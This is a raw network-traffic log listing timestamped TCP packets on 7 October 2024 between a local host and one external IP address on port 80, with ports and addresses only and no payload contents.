Oct 7, 2024 18:01:01.036132097 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.037396908 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.037412882 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.037427902 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.037447929 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.037462950 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.038048983 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.038064003 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.038078070 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.038090944 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.038094044 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.038108110 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.038129091 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.039021969 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.039036036 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.039048910 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.039067984 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.039087057 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.039973974 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.039988995 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.040003061 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.040016890 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.040033102 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.040961027 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.040977001 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.040988922 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.041002989 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.041006088 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.041023970 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.041043997 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.041955948 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.041976929 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.041991949 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.042011023 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.042023897 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.049607038 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.049642086 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.049654007 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.049665928 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.049678087 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.049690962 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.049701929 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.049711943 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.049734116 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.049746990 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.059818983 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.059840918 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.059855938 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.059915066 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.059946060 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.060096979 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.060112000 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.060127020 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.060138941 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.060158968 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.060170889 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.061332941 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.061351061 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.061362982 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.061376095 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.061386108 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.061399937 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.061428070 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.062578917 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.062599897 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.062616110 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.062627077 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.062640905 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.062658072 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.063234091 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.063251972 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.063266039 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.063285112 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.063301086 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.063311100 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.064060926 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.064080000 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.064096928 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.064110994 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.064110994 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.064121008 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.064136028 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.064150095 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.064764023 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.064780951 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.064795971 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.064811945 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.064822912 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.064842939 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.066440105 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.066461086 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.066478014 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.066488981 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.066503048 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.066520929 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.067553997 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.067574978 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.067589998 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.067605019 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.067605019 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.067622900 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.067634106 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.068845034 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.068865061 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.068880081 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.068890095 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.068917036 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.073319912 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.073342085 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.073354006 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.073373079 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.073398113 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.121800900 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.121841908 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.121857882 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.121890068 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.121915102 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.122180939 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.122196913 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.122210979 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.122225046 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.122256041 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.122673988 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.122689009 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.122704029 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.122718096 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.122741938 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.123464108 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.123481035 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.123495102 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.123506069 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.123512030 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.123532057 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.123553038 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.124425888 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.124443054 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.124456882 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.124469995 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.124485016 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.124500036 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.124665022 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.124680042 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.124695063 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.124705076 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.124716997 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.124732971 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.125412941 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.125428915 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.125442982 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.125457048 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.125457048 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.125473976 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.125494003 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.126004934 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.126020908 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.126034975 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.126046896 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.126063108 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.126816988 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.126832962 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.126847029 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.126856089 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.126882076 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.129198074 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.129215002 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.129230022 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.129245043 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.129251003 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.129267931 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.129287958 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.129636049 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.129652023 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.129666090 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.129676104 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.129693031 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.129704952 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.130507946 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.130522966 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.130537987 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.130556107 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.130564928 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.130578041 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.131340027 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.131356955 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.131371975 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.131396055 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.131401062 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.131401062 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.131412983 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.131428957 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.132050991 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.132066965 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.132081032 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.132097960 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.132117033 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.132880926 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.132898092 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.132911921 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.132922888 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.132936001 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.132951021 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.133971930 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.133987904 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.134004116 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.134018898 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.134020090 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.134042025 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.134042025 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.134052038 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.134937048 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.134953976 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.134968042 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.134979963 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.134991884 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.135006905 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.135999918 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.136017084 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.136032104 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.136044979 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.136055946 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.136068106 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.136538982 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.136555910 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.136570930 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.136584044 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.136584997 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.136595011 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.136609077 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.136620045 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.136919975 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.136935949 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.136950016 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.136961937 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.136975050 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.136987925 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.137947083 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.137964964 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.137979984 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.137994051 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.138005018 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.138020039 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.138521910 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.138540030 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.138555050 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.138569117 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.138571978 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.138587952 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.138596058 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.138614893 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.139280081 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.139297962 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.139312983 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.139328957 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.139343023 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.139355898 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.140125990 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.140142918 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.140157938 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.140172958 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.140186071 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.140919924 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.140935898 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.140950918 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.140966892 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.140969038 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.141001940 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.141664028 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.141680956 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.141695023 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.141710043 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.141736031 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.142447948 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.142465115 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.142488956 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.142492056 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.142534018 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.143235922 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.143253088 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.143268108 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.143279076 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.143284082 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.143300056 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.143326044 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.143858910 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.143874884 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.143888950 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.143902063 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.143904924 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.143912077 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.143932104 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.143944979 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.144699097 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.144715071 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.144730091 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.144740105 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.144746065 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.144748926 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.144769907 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.144777060 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.145539045 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.145554066 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.145567894 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.145581961 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.145582914 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.145593882 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.145597935 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.145617008 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.145638943 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.146336079 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.146353006 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.146368027 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.146378994 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.146392107 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.146411896 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.200227022 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.200251102 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.200277090 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.200355053 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.200499058 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.200505972 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.200520992 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.200537920 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.200553894 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.200599909 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.200599909 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.200907946 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.200965881 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.201083899 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.201097965 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.201129913 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.201167107 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.201481104 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.201497078 CEST	80	49961	147.45.44.104	192.168.2.5
